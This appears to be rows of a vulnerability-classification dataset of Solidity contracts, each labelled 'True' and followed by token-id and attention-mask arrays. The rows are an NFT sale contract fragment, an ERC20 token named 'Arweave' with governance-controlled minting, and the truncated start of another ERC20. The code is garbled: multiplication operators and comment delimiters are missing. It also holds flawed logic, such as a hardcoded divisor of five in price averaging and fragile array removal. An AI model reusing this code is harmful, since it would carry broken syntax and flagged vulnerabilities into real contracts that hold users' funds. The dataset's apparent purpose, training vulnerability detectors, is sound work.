cscNFT.getAssetIdItemType(_tokenId); // Avg Price of last sales uint256 salePrice = GetAssetTypeAverageSalePrice(assetType); // 0-10,000 is mapped to 0%-100% - will be typically 12000 or 120% salePrice = salePrice _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } function BatchCreateSaleAvgPrice(uint256[] _tokenIds, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType; uint256 _tokenId; uint256 salePrice; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; assetType = cscNFT.getAssetIdItemType(_tokenId); // Avg Price of last sales salePrice = GetAssetTypeAverageSalePrice(assetType); // 0-10,000 is mapped to 0%-100% - will be typically 12000 or 120% salePrice = salePrice * _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _tokenId = _tokenIds[i]; _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } } function BatchCancelSales(uint256[] _tokenIds) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _cancelSale(_tokenId); } } function CancelSale(uint256 _assetId) public anyOperator { _cancelSale(_assetId); } function GetCurrentSalePrice(uint256 _assetId) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[_assetId]; return _currentPrice(_sale); } function GetCurrentTypeSalePrice(uint256 _assetType) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _currentPrice(_sale); } function GetCurrentTypeDuration(uint256 _assetType) external view returns(uint256 _duration) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.duration; } function GetCurrentTypeStartTime(uint256 _assetType) external view returns(uint256 _startedAt) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.startedAt; } function GetCurrentTypeSaleItem(uint256 _assetType) external view returns(address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, uint256 tokenId) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return ( _sale.seller, _sale.startingPrice, _sale.endingPrice, _sale.duration, _sale.startedAt, _sale.tokenId ); } function GetCurrentTypeSaleCount(uint256 _assetType) external view returns(uint256 _count) { return assetTypeSalesTokenId[_assetType].length; } function BuyCurrentTypeOfAsset(uint256 _assetType) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; require(_isOnSale(_sale)); _buy(_sale.tokenId, msg.sender, msg.value); } /// @dev BuyNow Function which call the interncal buy function /// after doing all the pre-checks required to initiate a buy function BuyAsset(uint256 _assetId) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[_assetId]; require(_isOnSale(_sale)); //address seller = _sale.seller; _buy(_assetId, msg.sender, msg.value); } function GetAssetTypeAverageSalePrice(uint256 _assetType) public view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < avgSalesToCount; i++) { sum += assetTypeSalePrices[_assetType].sales[i]; } return sum / 5; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public anyOperator whenPaused { // Actually unpause the contract. super.unpause(); } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT (ERC721) contract, but can be called either by /// the owner or the NFT (ERC721) contract. function withdrawBalance() public onlyBanker { // We are using this boolean method to make sure that even if one fails it will still work bankManager.transfer(address(this).balance); } /// @dev Returns sales info for an CSLCollectibles (ERC721) on sale. /// @param _assetId - ID of the token on sale function getSale(uint256 _assetId) external view returns (address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, bool isActive, address buyer, uint256 tokenId) { CollectibleSale memory sale = tokenIdToSale[_assetId]; require(_isOnSale(sale)); return ( sale.seller, sale.startingPrice, sale.endingPrice, sale.duration, sale.startedAt, sale.isActive, sale.buyer, sale.tokenId ); } /** Internal Functions / function _createSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) internal { var cscNFT = CSCNFTFactory(NFTAddress); require(cscNFT.isAssetIdOwnerOrApproved(this, _tokenId) == true); CollectibleSale memory onSale = tokenIdToSale[_tokenId]; require(onSale.isActive == false); // Sanity check that no inputs overflow how many bits we've allocated // to store them in the sale struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); //Transfer ownership if needed if(cscNFT.ownerOf(_tokenId) != address(this)) { require(cscNFT.isApprovedForAll(msg.sender, this) == true); cscNFT.safeTransferFrom(cscNFT.ownerOf(_tokenId), this, _tokenId); } CollectibleSale memory sale = CollectibleSale( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now), true, address(0), uint256(_tokenId) ); _addSale(_tokenId, sale); } /// @dev Adds an sale to the list of open sales. Also fires the /// SaleCreated event. function _addSale(uint256 _assetId, CollectibleSale _sale) internal { // Require that all sales have a duration of // at least one minute. require(_sale.duration >= 1 minutes); tokenIdToSale[_assetId] = _sale; var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); assetTypeSalesTokenId[assetType].push(_assetId); SaleCreated( uint256(_assetId), uint256(_sale.startingPrice), uint256(_sale.endingPrice), uint256(_sale.duration), uint64(_sale.startedAt) ); } /// @dev Returns current price of a Collectible (ERC721) on sale. Broken into two /// functions (this one, that computes the duration from the sale /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(CollectibleSale memory _sale) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _sale.startedAt) { secondsPassed = now - _sale.startedAt; } return _computeCurrentPrice( _sale.startingPrice, _sale.endingPrice, _sale.duration, secondsPassed ); } /// @dev Computes the current price of an sale. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice(uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addSale()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the sale, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _buy(uint256 _assetId, address _buyer, uint256 _price) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; // Check that the bid is greater than or equal to the current buyOut price uint256 currentPrice = _currentPrice(_sale); require(_price >= currentPrice); _sale.buyer = _buyer; _sale.isActive = false; _removeSale(_assetId); uint256 bidExcess = _price - currentPrice; _buyer.transfer(bidExcess); var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); _updateSaleAvgHistory(assetType, _price); cscNFT.safeTransferFrom(this, _buyer, _assetId); emit SaleWinner(_buyer, _assetId, _price); } function _cancelSale (uint256 _assetId) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; require(_sale.isActive == true); address sellerAddress = _sale.seller; _removeSale(_assetId); var cscNFT = CSCNFTFactory(NFTAddress); cscNFT.safeTransferFrom(this, sellerAddress, _assetId); emit SaleCancelled(sellerAddress, _assetId); } /// @dev Returns true if the FT (ERC721) is on sale. function _isOnSale(CollectibleSale memory _sale) internal view returns (bool) { return (_sale.startedAt > 0 && _sale.isActive); } function _updateSaleAvgHistory(uint256 _assetType, uint256 _price) internal { assetTypeSaleCount[_assetType] += 1; assetTypeSalePrices[_assetType].sales[assetTypeSaleCount[_assetType] % avgSalesToCount] = _price; } /// @dev Removes an sale from the list of open sales. /// @param _assetId - ID of the token on sale function _removeSale(uint256 _assetId) internal { delete tokenIdToSale[_assetId]; var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); bool hasFound = false; for (uint i = 0; i < assetTypeSalesTokenId[assetType].length; i++) { if ( assetTypeSalesTokenId[assetType][i] == _assetId) { hasFound = true; } if(hasFound == true) { if(i+1 < assetTypeSalesTokenId[assetType].length) assetTypeSalesTokenId[assetType][i] = assetTypeSalesTokenId[assetType][i+1]; else delete assetTypeSalesTokenId[assetType][i]; } } assetTypeSalesTokenId[assetType].length--; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 7711, 2110, 1998, 3229, 2916, 2005, 3206, 4972, 1008, 1030, 2516, 6515, 2491, 1008, 1030, 3166, 6904, 2480, 3089, 16950, 26068, 2099, 1004, 2521, 4819, 1047, 18663, 3900, 1006, 12776, 3593, 4356, 1010, 4297, 1012, 1007, 1008, 4427, 1998, 5967, 2013, 3206, 2580, 2011, 2330, 4371, 27877, 2378, 1008, 25416, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 22116, 1011, 5024, 3012, 1013, 1008, 1013, 3206, 6515, 8663, 13181, 2140, 1063, 1013, 1013, 27777, 3229, 1004, 2491, 2005, 1996, 2208, 1012, 1013, 1013, 4395, 1024, 1013, 1013, 1011, 1996, 10489, 1006, 3078, 1013, 3905, 1007, 1024, 2038, 5415, 2491, 1997, 2035, 3787, 1006, 2053, 3754, 2000, 10632, 1007, 1013, 1013, 1011, 1996, 13448, 1024, 1996, 2924, 2064, 10632, 5029, 1998, 14171, 9883, 1013, 7597, 1012, 1013, 1013, 1011, 2060, 24805, 15776, 1024, 8311, 2008, 2342, 3229, 2000, 4972, 2005, 11247, 1013, 1013, 1013, 1030, 16475, 12495, 3064, 2043, 3206, 2003, 9725, 2724, 3206, 6279, 24170, 1006, 4769, 2047, 8663, 6494, 6593, 1007, 1025, 1013, 1013, 1996, 11596, 1997, 1996, 6115, 1006, 2030, 8311, 1007, 2008, 2064, 15389, 4506, 2306, 2169, 4395, 1012, 4769, 2270, 3208, 18098, 9581, 2854, 1025, 4769, 2270, 10489, 8586, 29067, 2854, 1025, 4769, 2270, 2924, 24805, 4590, 1025, 1013, 1013, 8311, 2008, 5478, 3229, 2005, 11247, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 2620, 1007, 2270, 2060, 24805, 15776, 1025, 1013, 1013, 1030, 16475, 7906, 2650, 3251, 1996, 3206, 2003, 5864, 1012, 2043, 2008, 2003, 2995, 1010, 2087, 4506, 2024, 8534, 22017, 2140, 2270, 5864, 1027, 6270, 1025, 1013, 1013, 1030, 16475, 7906, 2650, 3251, 1996, 3206, 7561, 26010, 4904, 1012, 2043, 2008, 2003, 2995, 1010, 2087, 4506, 2024, 8534, 1004, 25416, 8630, 2064, 2022, 3555, 22017, 2140, 2270, 7561, 1027, 6270, 1025, 1013, 1013, 1013, 1030, 16475, 3169, 16913, 28295, 2005, 14879, 3229, 16913, 18095, 2069, 24805, 4590, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3208, 18098, 9581, 2854, 1064, 1064, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 10489, 8586, 29067, 2854, 1007, 1025, 1035, 1025, 1065, 16913, 18095, 2069, 9299, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 2924, 24805, 4590, 1007, 1025, 1035, 1025, 1065, 16913, 18095, 2069, 14573, 18689, 17325, 2015, 1006, 1007, 1063, 5478, 1006, 2060, 24805, 15776, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 1027, 1015, 1007, 1025, 1035, 1025, 1065, 16913, 18095, 2151, 25918, 8844, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3208, 18098, 9581, 2854, 1064, 1064, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 10489, 8586, 29067, 2854, 1064, 1064, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 2924, 24805, 4590, 1064, 1064, 2060, 24805, 15776, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 1027, 1015, 1007, 1025, 1035, 1025, 1065, 1013, 1013, 1013, 1030, 16475, 24022, 1037, 2047, 4769, 2000, 2552, 2004, 1996, 2060, 3208, 1012, 1006, 2110, 1027, 1015, 2003, 3161, 1010, 1014, 2003, 9776, 1007, 3853, 2275, 14573, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Arweave is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Arweave", "AR", 18) { governance = msg.sender; _mint(governance,1000010*18); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 1065, 3206, 6123, 1063, 9570, 2953, 1006, 1007, 4722, 1063, 1065, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 3025, 1011, 2240, 2053, 1011, 4064, 1011, 5991, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 3206, 9413, 2278, 11387, 2003, 6123, 1010, 29464, 11890, 11387, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 2797, 1035, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 1007, 2797, 1035, 21447, 2015, 1025, 21318, 3372, 2797, 1035, 21948, 6279, 22086, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 1035, 21948, 6279, 22086, 1025, 1065, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 1035, 5703, 2015, 1031, 4070, 1033, 1025, 1065, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 1035, 4651, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 7799, 1010, 3815, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 1035, 21447, 2015, 1031, 3954, 1033, 1031, 5247, 2121, 1033, 1025, 1065, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 1035, 14300, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 5247, 2121, 1010, 3815, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 1035, 4651, 1006, 4604, 2121, 1010, 7799, 1010, 3815, 1007, 1025, 1035, 14300, 1006, 4604, 2121, 1010, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 1035, 21447, 2015, 1031, 4604, 2121, 1033, 1031, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1033, 1012, 4942, 1006, 3815, 1010, 1000, 9413, 2278, 11387, 1024, 4651, 3815, 23651, 21447, 1000, 1007, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 3623, 8095, 21293, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-08-25 / // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first 